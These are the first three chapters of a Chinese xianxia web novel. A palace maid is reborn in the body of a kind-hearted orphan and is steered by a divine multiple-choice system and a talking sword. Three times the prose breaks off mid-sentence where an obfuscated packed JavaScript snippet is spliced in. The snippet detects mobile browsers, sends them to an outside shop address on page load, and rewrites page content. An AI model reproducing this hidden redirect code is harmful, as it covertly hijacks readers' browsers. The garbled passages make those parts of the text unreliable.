《没有主角光环,但是女主》 1. 第 1 章 叶岑穿越了。 她睁开眼的时候,手中握着一把短刀,跟前跪着一排人,脑海里还发出“叮”的一声响。 叶岑有点没搞清楚状况。 但是随着那“叮”的一声响,叶岑脑海里浮现出一些记忆的碎片,大抵是在介绍一个人的身份:白宁,小字涟漪,青州白家大小姐。 叶岑:“啊?” 接着脑海里又浮现出一道选择题: 【这些人刚刚杀了白家满门,现在他们的性命被交给你处置,身为天性纯良的白家大小姐,你的选择是:】 【A.毫不犹豫地杀了他们,为你全家报仇。】 【B.这也是十几条人命啊!我刚承受了失去亲人的痛苦,怎能让他们的亲人也承受一样的痛苦呢?我决定放了他们!】 叶岑一头雾水。 这些人杀了白涟漪全家,和我叶岑有什么关系? 又一眼注意到题目中自己不解的地方——何为A?又何为B? 那选择题似乎能感知到她心中所想,从善如流地改了若干细节。 【假如这些人刚刚杀你了全家,只余了你一人。如今他们的生死为你所左右,你的选择是:】 【甲:毫不犹豫地杀了他们,为你全家报仇。】 【乙:这也是十几条人命啊!我刚承受了失去亲人的痛苦,怎能让他们的亲人也承受一样的痛苦呢?我决定放了他们。】 叶岑:“。” 神经病啊。 叶岑抬起头,跪着的那排黑衣人旁边还站了几个少年,领头的那个一身白衣,手中抱着一把剑,身后还背着个剑匣,正瞧着她,生疏与担忧都写在脸上,瞧着她不太确定地喊道:“白姑娘?” 仿佛在等着她回答。 一脸“你让他们活,他们才能活”。 虽然没搞明白眼下的状况,但是叶岑从前生活的环境,讲究的就是一个心狠手辣。 叶岑入戏很快,揩一把眼角的泪:“他们杀了我全家,不杀了他们,实在难消我心头之恨!” 叶岑没来得及看到白衣少年人的反应。 因为突然有尖锐的声响在她耳边炸响,选择题顿时消失不见,换成一行血红的大字—— 此举不符合白涟漪的性格,请方外之人从头来过。 叶岑:“???” 接着她只觉得两眼一黑,就什么都不知道了。 叶岑又一次睁开了眼。 手中握着一把短刀,跟前跪了一排人,脑海里发出“叮”的一声响。 叶岑:“……” 总觉得这画面似曾相识。 叶岑觉得,她已经知道接下来要发生什么事了。 果然,下一刻,选择题。 【假如这些人刚刚杀你了全家,只余了你一人。如今他们的生死为你所左右,你的选择是:】 【甲:毫不犹豫地杀了他们,为你全家报仇。】 【乙:这也是十几条人命啊!我刚承受了失去亲人的痛苦,怎能让他们的亲人也承受一样的痛苦呢?我决定放了他们。】 身前还站了个背剑匣少年人。 少年人看着她,一脸担忧正要开口:“白……” 叶岑:“闭嘴。” 她原本是柔柔弱弱地倒在地上,但木着一张脸,从地上爬起来,二话不说把短刀一丢,握住少年人的剑柄,拔剑出鞘,在少年人惊诧的目光中,一剑刺向其中一个跪着的人的胸口。 剑尖离那个人的胸口也就一寸。 尖锐的声响在叶岑的耳边炸响,选择题顿时消失不见,换成一行血红的大字—— 此举不符合白涟漪的性格,请方外之人从头来过。 叶岑两眼一黑,就又什么都不知道了。 叶岑又一次睁开了眼。 手中握着一把短刀,跟前跪了一排人,脑海中一道选择题: 【假如这些人刚刚杀你了全家,只余了你一人。如今他们的生死为你所左右,你的选择是:】 【甲:毫不犹豫地杀了他们,为你全家报仇。】 【乙:这也是十几条人命啊!我刚承受了失去亲人的痛苦,怎能让他们的亲人也承受一样的痛苦呢?我决定放了他们。】 叶岑还柔柔弱弱地倒在地上,而背着个剑匣的少年人正看着她,第三遍担忧地道:“白姑娘?” 一脸“你让他们活,他们才能活”。 叶岑看看少年人,又看看跪在那里的一排人。 跪在正当中的人也迎着她的目光同她对视,眼神阴毒,眼里满是“好可惜没杀死你不过只要我没死我就算追到天涯海角也要杀了你”。 说是从甲乙两个里头选一个,实际上根本就没得选。 ——可是选了乙,和找死有什么区别? 叶岑与那人对峙,下意识就想“忒”一声,“忒”到了嘴边却发不出声,嘴角抽了抽。 少年人更担忧了:“白姑娘?” 累了。 真的。 叶岑觉得自己眼睛里都没什么光了。 她面无表情地爬起来,理理裙摆,道:“算了吧,累了。” 但少年人还在等她的答复。 叶岑深吸一口气,开始了她的表演:“他们虽然可恨,我却不想因此失了本心。既然我并未出事,不如就此打住,饶了他们的性命吧。” 剧情果然往下走了,少年人看着叶岑的眼神敬佩又不忍,感佩道:“白姑娘高风!” 然后垂眸看向跪着的那排人,眼中顿时多了几分凌厉:“白姑娘良善,饶你们不死,还不快滚!” 叶岑身看着那些人,望着他们滚走的背影,心底尽是不舍。 斩草不除根,春风吹又生!不能杀了他们,哪怕扣下他们审问审问呢? 这种乱七八糟的恻隐之心,在后宫的话,是要带来杀身之祸的啊!要不怎么说深宫里开不出一朵白莲花呢! 可惜她身不由己,什么也干不了。 倒是那少年人,见她的眼神牢牢盯着杀手们跑走的地方,以为她还心有余悸,安慰道:“白姑娘。” 叶岑这才正眼看这年轻人。 他十七八岁的样貌,但是举手投足间已经满是沉稳,瞧着倜傥又贵气。 又看他身后之人,年龄与领头的这年轻人一般大,穿的还是同样款式的一身白,应当是同一个学堂出来的同窗,身上又都佩着剑,那么大抵上的是武学堂。 理论上讲,这样气度不凡,不是皇室子弟,也应当是贵族子弟。 可见这衣服的样式,又少了几分贵气,多了几丝隐世的飘逸。 闹不明白。 但是依着她的生存之道,首先不可露怯,那么便要以不变应万变。 叶岑最擅长的,就是以不变应万变。 那少年人似乎还在斟酌安慰她的语句,憋了半天也只能说一句:“白姑娘,斯人已去,还请你节哀。” 叶岑搬出她为人处世的应对法则:“嗯嗯,你说得对啊。” 少年人看着她,眼中的不忍更浓。但他照顾眼前这小姑娘的自尊,有意不让她看见自己眼中的同情,于是移开视线,去看周围这一片狼藉。 少年人:“白家的后事,我们正在帮着料理。” 叶岑:“嗯嗯好好谢谢。” 少年人:“还望白姑娘养好身子,早日出发。” 叶岑:“嗯嗯好……出发?去哪?” 少年人:“白姑娘忘了吗?家师从前受过白老爷的恩惠,白家遭了这样的祸事。白姑娘如今孤苦一人,于情于理,都该到我们青云门去的。” 他顿了顿,面上浮现出几丝羞愧:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808938|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是我没想到那些人会如此猖狂,在白家……这种时候,还敢杀上门来。” 叶岑想了想,假惺惺哭道:“也不知那是什么人,与我白家有什么样的深仇大恨。” 少年人皱起眉:“那些人刻意隐藏,一时也瞧不出来。” 叶岑心想,那方才我白莲花病发作的时候,你也不知道阻止我,把他们留下来严刑拷打。 我是得了白莲花病,但是我看你们青云门是脑子有病。 叶岑后来终于弄明白是怎么一回事儿。 这个白涟漪所在的白家,是青州地界的望族,但是几天前,不知是因为江湖仇杀还是什么,竟然一夜之间被人灭了门——只余了大小姐白涟漪一人。 神奇的是,这个白大小姐,手无缚鸡之力,那天又并未外出,竟然保下了一条命,除了受了些惊吓,既无外伤,又无内伤,简直是毫发无损。 这事在青州引起轩然大波,也引得了青云门的注意。 好巧不巧,青云门竟然是个大宗门,而且一看这名字,就是也坐落在青州地界。 原本白家在青州出了事,就已经是打了青云门的脸了,更巧的是,青云门中有一位姓李的长老,早年还未入道时,曾受到过白老爷的照拂。 只是这仇杀来得突然,青云门得到消息时,白家已经只剩了白涟漪一个孤女。 所以就派了人来接她上山。 为表对这件事的重视,派来的还是青云门星垣阁大弟子,秦言。 秦言带人甫一赶到白家,先替白涟漪布置了灵堂。 此刻,入目是一片素缟,叶岑走形式地跪在灵堂正中央守灵,膝盖底下垫了三层软蒲团。 四下里静得很,烛火晃动都仿佛有了声音,叶岑的思绪飘飞出去,想到了自己成为白涟漪之前发生的事。 叶岑原本暂时是个籍籍无名的小宫女。 是的,暂时。 因为她运筹帷幄、卧薪尝胆、胆大包天、天不怕地不怕,早就给自己的人生定下了目标——当皇后! 叶岑没有小时候的记忆了,反正自有记忆以来,她就是在皇宫里。 虽然连皇帝是圆是扁都不知道,但宫斗是快乐的、有挑战的,而挑战成功的标志便是——当皇后。 这么些年,她见惯了后宫中的勾心斗角、尔虞我诈,学了一身本事,也靠着这些本事几经运作,已经有了几条人脉、一些积蓄。 靠着这些人脉,叶岑辗转打听到,当今圣上,他有一个不为人知的爱好,他喜欢——大宝剑! 妙啊,人尊当陪宝剑!不愧是人皇! 于是叶岑花光所有的积蓄,终于托人辗转寻到了一把绝世宝剑! 万事俱备,只欠东风。 叶岑就要踏上她的宫斗之路。 这时候被贵妃给发现了。 贵妃赏她一丈红。宫人一边打,贵妃在一边看,还要摆出胜利者的姿态在那里耀武扬威。 贵妃:“我注意你很久了。” 贵妃:“永远都有人觊觎皇上,但是永远没有人能斗得过我。” 贵妃:“皇后,那是个什么东西?她虽然贵为中宫,可是封建守旧,古板如她,根本拉不下脸来和皇上一起去做大保健。” 贵妃嘴角噙着一丝冷笑,高傲地欣赏自己新涂的蔻丹:“只有本宫,本宫才是皇上最爱的女人。” 叶岑:“???你说什么?皇上喜欢做什么。” 贵妃一愣,下意识地答:“大保健啊。” 顿了顿,艳丽的脸上浮现出一丝懊恼:“你是个什么东西,也配问本宫问题?” 她看向一边行刑的宫人:“没吃饭吗?给本宫狠狠地打!” 叶岑一口老血喷出来。 苍天啊!谁能想到,皇上他贵为一国之君,喜欢的竟然是这个大保健! 2. 第 2 章 叶岑很生气。 她从小生在深宫里,对宫外的世界仅剩的了解,是在话本故事里。但是宫里不好弄到话本,因此看的也不多。 简单的讲,就是了解甚少。 但是青云门、一夜灭门、大宗门——这一听就充满了江湖恩怨的味道啊! 噫吁嚱!她叶岑,对江湖仇杀什么的根本不感兴趣,她只想手撕妖妃、脚踢恶嫔,做一个本宫不死你们终究是妃的女王大人啊! 叶岑觉得,死也不让人死透,还把人送到这鬼地方来,真是老天瞎了眼。 正这么想,耳边一个声音“嘘”道:“嘘——怎可妄议苍天?那是要遭雷劈的。” 叶岑一个机灵,下意识警戒道:“谁?” 话音落下却觉得不对劲,这灵堂满是棺材,除了她自己,哪里还有能发出声音的活物? 叶岑下意识地要去看灵堂正中央的棺材——那里躺着白涟漪她爹——但脖子却忽然变得十分僵硬。 叶岑甚至觉得自己能听到抬头时发出的“咔咔”声,听着……就像只有一具骨架在转着脑袋似的。 那声音却愈发轻快起来:“是我呀!几天前还抱着人家叫小亲亲……” 顿了顿,似乎还有些委屈:“转头就忘了吗?” 叶岑已经在向那棺材磕头了:“爹,您要什么明天就给您烧,您且安心去吧,千万别诈尸。” “噗!”那声音忍不住笑出声来,“你当真不记得我?” 叶岑低眉顺眼,十分恭敬:“我知道,您是我爹。” 那声音道:“你将眼睛闭上,就能瞧见我。” 白涟漪她爹死状凄惨,叶岑心说,我要是看到你,确实就离当场去世不远了。 想是这么想,那声音却像能蛊惑人心似的,叶岑还是不自觉闭上眼,然后瞧见……白茫茫的一片? 叶岑:“什么也没有。” 那声音:“我在你的紫府当中呢。” 叶岑皱起眉:“何为紫府?” 那声音:“。” 那声音:“所谓紫府,便是修道之人识海当众的一方宇宙,处于百会穴之下、双眉之间、印堂之后,你试着把脑子里的鬼故事抛一抛,集中注意力啊。” 叶岑依言去做,须臾,眼前果真变得清晰起来了。 那白茫茫的不知是雾气还是什么,淡去之后,她瞧清楚了所谓紫府。 说是紫府,其实更像一间空房间,里头什么装饰都没有,唯有正中央凸出一个方正石块,上头悬着……一把剑? 那把剑跳了跳,于是响在叶岑耳边那声音也变得欢快起来:“是我呀!” 叶岑:“?” 剑是很板正的剑,但不知为什么,叶岑瞧着那把剑,总觉得它有些妖娆。 除此之外,好像还有些眼熟。 叶岑猛然睁大了眼:“大宝剑?!” ——这不正是她死前,托人重金买到的那把绝世好剑吗!? 大宝剑不满道:“叫什么大宝剑?难听死了!人家有名字,叫做山阿。” 叶岑:“?” 叶岑觉得她似乎看错了,这剑方才显得妖娆,此刻看起来又好像有些娇羞。 但是,紫府是什么东西?为什么她一闭上眼会看到一把剑?会说话的剑又是什么妖怪?这一切,都不是生在封建宫廷里的她所能理解的。 山阿感应到她所想的,不满抗议:“什么妖怪?人家是剑灵!” 叶岑:“剑灵又是何物?” “剑灵就是……”山阿顿了顿,大概是觉得三言两语也很难解释得清,干脆放弃了。他道:“总之你买了我,就是我的主人了。若非如此,你被那贵妃打死了也就打死了,我何必花大力气把你弄到这里来?” 叶岑:“啥?” 叶岑艰难地消化了事情的前因后果。 她花大价钱买来的那把大宝剑,竟然是上古神器! 她被贵妃赐了一丈红,当然是死得透透的了,但是神器能通灵,跨越世界给她寻了个暂居的壳子,算是帮她续了个命。那壳子便是青州白家的白涟漪。 山阿叮嘱她:“红尘三千世界,各有其运行法则,法则之上便是天。你现在是借人家壳子重生的方外人,相当于偷渡,还是低调些。” 叶岑咋舌:“这……难道腹诽也不行?” 山阿道:“岂止呢,人家白涟漪是个单纯善良的女孩子,你如今借助了人家的壳子,若是做出违背她本性的事情,甚至还没做,只是生出些坏心思,都可能叫天道发现,降下天雷来劈你!” 叶岑:“?” 叶岑咽了口口水,一时不知该说些什么。愣了半天,问道:“那原来的白涟漪……实际上死了吗?” 这会儿山阿沉默了。 许久,他道:“说不好。” “说不好?” “理论上讲,她若是没有死,你也用不了她的壳子了。可是这位白姑娘,旁的没什么,就是格外善良。白日里或许你也感受到了,若是你做了什么事,违背了她的善良,似乎就不行。大抵是还留了一丝残魂。” “残魂?在哪?” “你的体内。” 叶岑想起不久前的遭遇,难怪那些人眼中的杀气都快要溢出来了,她还是只能放过他们。 不是……这白家大小姐的善良有点过头了吧?! 但是她很快眯起了眼:“既然我无论如何都必须放过那些人,为什么还要做选择题?是你在故弄玄虚吧?” 那把剑一僵,半晌才尴尬地笑了两声,道:“好玩嘛,哈哈!” 叶岑:“……” 叶岑还想说些什么,山阿已经轻咳两声,将话题揭过去了:“总而言之,一缕残魂也没有复生的可能,你能苟则苟,先这么活着再说吧。” 说着娇娇柔柔叹一声:“跨越世界不是简单术法,我不行了,我乏了,我要休眠了。” 叶岑:“……” 她其实还想问,既然跨越世界这么耗心力,为什么不干脆找下一个宿主,反而要在她一个人身上吊死呢? 但是山阿显然已经不打算回答了。叶岑看着她紫府里的那把剑,剑还是那把剑,但是剑身的光泽黯淡了不少,估计真的是休眠了。 算了,反正占便宜的是她。重活一世,那可是个天大的便宜啊,这种细节,又何必在意呢。 叶岑睁开眼,眼前依旧是灵堂,四围一片白纱帐,正中央的棺材里躺着白涟漪她爹。 一切都没变,但是她的心情已经几经辗转,从宫斗文变成江湖文,又来到修仙文。 叶岑不由得咋舌:“这大千世界,未免太精彩。” 又想起山阿对她关于天道的叮嘱:“还有那劳什子天道……” 话未说完,一道惊雷从天而降,正正地劈向白家灵堂。 秦言赶到的时候,看到的就是这么一个场面。 灵堂中的棺材都被劈成了渣渣,而白涟漪柔柔弱弱地倒在地上,听到动静转头来看他,小鹿般的眼中满是恐惧,显然受了惊。 叶岑与秦言四目相对,一时不知该怎么解释。 她是记得山阿说过“妄议天道遭雷劈”这样的话,但谁能想到,“遭雷劈”它竟然不是个形容,而是真的物理意义上的,遭雷劈。 但是难道“劳什子”也得算是妄议吗! 叶岑硬着头皮道:“其实吧,事情是这样的……” 叶岑挣扎:“这个雷吧,它……” 秦言忽然怒道:“太过分了!” 叶岑:“?” 秦言拧着眉毛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808939|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒发冲冠:“没想到白日里那些贼人,灭门不够,竟还以雷声为掩,要将人挫骨扬灰!” 说着过来体贴地将叶岑扶起:“白姑娘可有受伤?” 叶岑:“……” 既然你都这么说了。 叶岑深吸一口气,呜咽着摇头:“还好秦大哥你来得快,他们没来得及伤我。” 尘归尘,土归土。天道那道雷一劈,白家老小的尸体都成了一把灰,后事也办不下去了。 原本,秦言是打算等白涟漪身子养好些再上青云山的,但是杀手一天之间都能来两遭,他们还没有查出对方是何门何派之人,留在白家恐怕不安全,还是尽早上青云山的好。 于修士而言,白家到青云山的距离不算远,但是考虑到白涟漪身子骨差,又受了惊吓,秦言体贴地为她准备了马车。 草长莺飞二月天,他们很快出了青州主城,城外是绵延的青云山脉。 叶岑抱着骨灰盒子坐在马车里,感受到马车上了山路,不由得掀帘子问秦言:“秦大哥,我们就要到了吗?” 秦言答:“还早呢,过了这座山,才算摸着青云门的边。” 话音落下,头顶响起飒飒风声。 叶岑抬头去看,瞧见几支巨大的剑从天上“咻咻”飞过,剑上都还站了个人,一身白衣飘飞,宛如仙人。 秦言注意到她的视线,笑道:“再有三月便是内门大比的日子,因此,外出历练的星垣阁弟子都回来了。” 叶岑点点头。 这些日子,她在同秦言的闲聊中,也了解了一些这个世界。她所在的这世界叫做大殷,中心的陆地分为九州,供人族居住,除此之外,还有妖族,大部分居于大殷最西边的十方大山。人族之中,又分为普通凡人与修道者,因此,大大小小的修仙宗门不计其数,其中比较厉害的五个选出来,被称为仙门五绝。 除此之外,还有不可说的魔族,被封印于大殷之外的魔域,据说用一片不见天日的林子隔绝着。 叶岑要去的青云门,正是五绝之一。另外四个,则是归一门、大自在殿、七杀殿和长庆荀氏。 青云门坐守青州,时至今日,已经逐渐壮大起来,门中一分七阁,分别为长崖阁、仙人阁、尘中阁、希逢阁、云汉阁、月帔阁与星垣阁,各自由掌门秦峥与六位长老分管。 青云门七年举行一次的内门大比,除了长崖阁的秦峥掌门不收徒,有修炼天分的弟子先拜入星垣阁为普通弟子,若是能在大比中表现出彩,便有机会获得其他五阁的入场券,通过面试,被选为亲传弟子,进入内门。 叶岑对这些东西接受得很快。本来嘛,从小宫女进阶到皇后是升级,那么如今到了这个世界,从普通弟子做到亲传弟子,最好再混个长老掌门当当,不也是另一种意义上的升级嘛?万变不离其宗嘛! 人生的新目标有了! 只不过—— 叶岑放下帘子,看了看自己的手。 肤若凝脂,但是白得已经不像一个健康的人了。 白涟漪这具身子体质不是很好,估计是从小灵根有损,不好修道的。 这可不太好办了。 正苦恼间,外头却响起一阵打斗之声。 叶岑掀开帘子一看,就见秦言带的青云门弟子们正与一群黑衣人缠斗在一起。 那群黑衣人出手凌厉还服装统一,和前些日子灭了白家满门的人显然是同一个出……不对。 叶岑看着他们脸上戴着的用来遮掩长相的漏风面具—— 这玩意儿能遮住啥啊?这不看着有鼻子有眼的吗?! 这根本就不是同一个出处!这根本就是同一批人好吧! 什么仇什么怨啊!这哪是刺杀啊!这根本就是追杀! 所以说就不该放虎归山啊! 3. 第 3 章 叶岑眼见着秦言他们和黑衣人打作一团。 秦言一边打,一边还要抽空向她道:“白姑娘,你先走——” 语罢,选择题就又浮现在了她的脑海中—— 【秦言为了救你身陷险境却让你先走,面对此种情况,你的选择是:】 【甲:立刻驾着马车离开。】 【乙:坚决不走!要生一起生!要死一起死!】 叶岑:“……” 这时候就不要搞什么好玩选择题了吧! 况且道题根本就不符合逻辑! 想想看,这些黑衣人都从白家一路追到青云山下了,显然就是冲着她来的!别说白涟漪这逆天善良的残魂不允许她做出丢下同伴逃跑的事情,就算她真的跑了,没了秦言他们的保护,岂不是死得更快吗? 但是“要生一起生,要死一起死”是什么恶心巴拉的说法啦! 叶岑看看秦言,又看看那些黑衣人。 她是不会跑的,但是秦言他们若不是能一举杀了那些黑衣人,那么一定要依着白涟漪原来的性子行事的话,她可能还要放虎归山一次。 这绝对不行。 可是怎么办好呢? 叶岑抬头,透过重重绿叶,瞧见一片碧天。 心中顿时来了灵感。 叶岑凝神入紫府,瞧见那把光泽黯淡的大宝剑:“山阿!山阿!” 山阿的声音中带着几分刚睡醒的惺忪:“干啥玩意儿大白天的扰人清梦?” 叶岑:“我要是被雷劈了,会死吗?” 山阿想也不想地答:“笑话!我堂堂上古剑灵,还能让你给雷劈死了?” 叶岑:“那我就放心了。” 那边秦言还试图劝她:“白姑娘——” 叶岑睁开眼,冷笑一声:“可是秦大哥,我如何能丢下你们独自跑掉呢!” 眼见着一个黑衣人的长剑就要近秦言的身,叶岑惊惶道:“秦大哥,我来救你——” 说着,冲出马车,将双臂一张,就向那黑衣人扑去,口中还伴随着响亮的一声:“天道我敲你大爷——” 雷声。 殷殷的雷声,在青天白日炸响。 然后三道宛如紫电的亮光从天而降,劈向叶岑。 和被她拉着的黑衣人。 三道天雷,一道比一道精准。 叶岑在慌乱中捞黑衣人,能捞一个是一个。 既然没有审问他们这个选项的话,不如就直接搞死他们吧。 能死一个是一个。 天雷劈下来。 霎时间,叶岑只觉得一阵剧痛传遍四肢百骸。 与雷声一同炸响的还有识海之中山阿的哇哇乱叫:“怎么回事怎么回事?我不过是吹牛,怎么真的有天雷——” 吱哇乱叫的同时,却有一股暖意从她的眉心起,自上而下,将她的五脏六腑包裹住。 叶岑心下一定,山阿还是靠谱的。 但那到底是天雷,一道接着一道砸在她的身上,叶岑只觉得头晕眼花,什么也瞧不清,极目所见,只余了一片白茫茫。 等等,不对。 这片白茫茫中,还有一个更白的影子,那似乎是一道从天而降的身影,一人一剑,长身玉立。 好似剑仙。 叶岑疑心自己看错了。 但是很快,身边响起秦言他们惊喜的喊叫声:“大师兄!?” “是宋显大师兄回来了!” 接着,叶岑听到了长剑破风的声音。 叫天雷一炸,黑衣人少了几乎一半,其实秦言他们要解决黑衣人,也少了很多难度了。但这位宋显大师兄,实力显然比在场的所有人加起来都要高,不出一息,就将他们都解决了。 他出手很是利落,只留了一条活口,向秦言道:“绑起来,带回去审。” 终于是个晓得要审问的了。 叶岑听到身旁一阵动静,大概是几个弟子依言去绑人了。 还有脚步声,她凝了凝神,依稀辩得是那道身影向他们走来了。 她虽然被山阿护着肺腑,到底挨了三道雷劈,浑身酸爽,早就是在勉力支撑了,此刻脑中紧绷的弦骤然一松,立时眼前一黑,就要晕过去。 但是宋师兄这么靠谱,晕过去也没什么吧。 叶岑这么想着,最后那点支撑自己的力气都没了,软软向前一倒。 眼见着就要倒到宋显怀里的时候,他身手敏捷地往侧边一闪。 叶岑应声倒地。 宋显拧着眉,打量倒在地上的一团漆黑:“什么东西?” 叶岑:“?” 他顿了顿,声音里染上几分真心实意的不敢置信:“这黑乎乎的一团,竟然是个人吗?” 叶岑:“??” 朱漆雕的书架前,一个蓝衣的小姑娘爬上梯子,手指头在最高层的书脊上点来点去,最终挑了其中几本,一手把这些书抱在怀里,一手扶着梯子,小心翼翼地爬下来。 这是青云门的琅嬛楼,七层楼高,里头的藏书又多又杂,都是些修仙秘典。 算起来,这已经是叶岑上青云山的第十日了。 她上山时遭了雷劈,昏睡了三日,除开这三日,剩下的七日,都泡在这琅嬛楼里。一方面是学习,另一方面,也是为了躲人。 青云门除了七年举行一次内门大比,也对外招收普通弟子,只不过年限更长一些,要十年。 这一年离上一次招生过了五年,原本是不应当对外招生的。叶岑能上山,靠的是白涟漪她爹早年对青云门四长老、如今的星垣阁阁主有过恩惠。 这种开后门的事,原本应该能多低调事多低调的,谁知道她上山的时候辱骂天道,被雷给劈了。 这七天里,宗门上下都在传,星垣阁新拜入门的那个弟子,走后门来的,连御剑都不会,上山还坐轿子,因此上天都看不下去,降下三道天雷,把她给劈焦了。 叶岑:“。” 那明明是马车!马车啊!什么轿子! 算了,一个强者,生来就是要承受这许多流言蜚语的。 叶岑找到了新的人生目标——修仙。 叶岑醒来的头一天就被带着去见了李长青,顺便测了灵根,但是测验的结果有点奇怪—— 她竟然是个纯净的金天灵根! 但是滴血进入测灵池,那代表着天灵根的萤石只亮了不过片刻,后来也不算熄灭,但瞧着总有些黯淡。 总得来说,天分好,但是底子虚。 虚得令人发指。 但是叶岑毫不气馁。 打怪升级,原本就是困难重重。此路不通,她还能走别的路嘛。 这些天她沉浸书海,最后终于找到这么一条路——修习符术。 修士修道需要汲引天地间的灵气,引来的灵气先在丹田之中转化为灵力,再化入经脉,为他所用。但是叶岑不行,她的丹田就好像一个四面漏风的大漏斗,根本兜不住灵气,更别说转化成灵力了。 但是修符就不一样了。符术虽然也需要灵力的加持,但与其他相比,用不了多少灵力,主要消耗的是朱砂。 叶岑存不了灵气,但买得起朱砂。 她低头看看借来的书,总共有三本,一本叫《十全画符录》,一本叫《大殷符术概论》。除此之外,还有一本叫《五年鬼画符,十年成神母》的,作者的名字却写得含含糊糊,是四个字的名字,勉勉强强,只能看得出第二个字是夷,第三个字是元,另有第四个字,也不知是尹还是君。 叶岑:“?” 翻开第一页: 你想成为大殷第一强吗?想让这大陆上所有的修士都尊敬地将你视作至高无上的母亲吗?想的话,就来和我学鬼画符吧! 叶岑:“。” 原来神母是这个意思。 青云门一分七阁,伫立在青云山脉最高的七座山峰上—— 其实挺高的山峰统共有八座,只是第八座大有要将另外七座都孤立了的样子,离得特别远。上头似乎也是有殿宇的,但因久无打理,已经无人居住了。 叶岑在上山时,曾好奇向秦言打听过。 秦言说起来也是语焉不详的,只说:“是先掌门居所。” 他将自己知道的和盘托出:“如今七阁的长老都师出先掌门,大约是先掌门故去之后,都不愿意留在那座山峰,怕睹物思人吧。” 他说这话时,眸中泛滥着一种清澈,想来也不是刻意要隐瞒什么,而是只知道这些了,叶岑于是不再问下去。 也不知是当初长老们给各阁起名的时候将才华用完了,还是因为别的什么原因,总而言之,如今在用的七座山峰的名字就随意多了,分别叫做一号峰、二号峰……依次到七号峰。 其中星垣阁弟子最多,坐落在面积最大的七号峰上。 琅嬛楼里施展不开,但是好在一层的书对所有门中弟子都开放,因此是可以外带的。 叶岑想了想,抱着书往外走,最终来到了小涯峰。 星垣阁的主峰四周围簇拥着七座小山峰,小涯峰在最北边,与对面那无人踏足的第八座山峰遥遥相望,因为山顶有个小悬崖,大家取个谐音,都将它叫做小涯峰。 只是小涯峰顶只有一方大石靠着两株参天的大树,环境过于清幽,又对着第八座峰,诸位长老提起来都有些讳莫如深,大家怕惹长老们不高兴,也都不往那里去。 对于叶岑而言,却是个琢磨符术的好地方。 叶岑还不会御剑,上小涯峰得用走的。 沿路还能瞧见其他山峰傲然挺立,除了第八号峰,其他山峰也纷纷耸立着,与七号峰遥遥相对,其中最高的是尘中阁所在的三号峰,简直高耸云端,完完全全当得起“尘中之阁”的名号。 三个月之后内门大比,星垣阁弟子们最想去的就是尘中阁,因为尘中阁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808940|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云何意长老虽然不是修为最高的长老,却是最神秘的长老。 主要表现在,一个月三十天三十一天都不在青云山。 除此之外,青云门自有了尘中阁至今,只招了一个亲传弟子,却比所有亲传弟子入门都要早,既是尘中阁首徒,又是青云门的大师兄,就是叶岑上山那天遇上的那个白衣剑仙,听说名为宋显。 叶岑运气好,据说那天恰好也是宋显历练结束归来的日子。 不过只有不到三个月时间,叶岑当然也不觉得自己能够被选做亲传弟子,但是既然要往上爬,第一次可以积累经验的机会,当然不能放过。 好不容易爬到小涯峰顶时,已经接近晌午。 好在这是个阴天,太阳隐在云层里,峰顶又高,并不热。 到了小涯峰顶,叶岑先凝神看了看自己的紫府,发现那里还是白茫茫一片,虚空中立着一扇紧闭的大门。 ——自那日上山的时候遭了雷劈,她的紫府就成这样了。山阿也再没在她的识海里说过话。 叶岑疑心,那天雷还是有点厉害的,山阿替她挡了雷,虽然保住了她的命,但是恐怕元气大伤。 想到这里,叶岑就有些后悔。她乍然来到修真的世界,只当山阿十分厉害,做事情有些太不知轻重了。 实际上那天,就算她不走同归于尽天打雷劈那一着,那个宋显大师兄也还是会出现的。 可是现在说什么都晚了。琅嬛楼里有关紫府的书籍都在高层,普通弟子进不去,她只好先将那件事放一放。 巨石边上贴满一圈叶岑前几天练习画的神行符。 叶岑把巨石当桌子,在一边坐下,摆开《十全画符录》,又从储物的芥子囊中拿出朱砂与黄纸。 修符不是简单的照猫画虎,画上了不一定能有用,她目前只能画画最简单的神行符与聚灵符之类的。 偏偏聚灵符对她而言是没用的,因为她的丹田就像一个漏斗,聚来了灵气也兜不住。 至于那本《大殷符术概论》,讲述的则是一些基础知识与概要,但叶岑自问不是过目不忘的人,有时候忘了知识点,也好当场补缺。 不过今天淘到的这本新书,虽然书名有些怪异,但是瞧着好像很了不得的样子。 叶岑拿起那本《五年鬼画符,十年成神母》翻开第一页—— “欲练此功,必先自宫。” 叶岑:“?” 叶岑心中庆幸,还好自己没有。 继续往下翻—— “下面没有,上面也行。” 叶岑:“???” 第三页—— “开个玩笑,哈哈哈哈!” 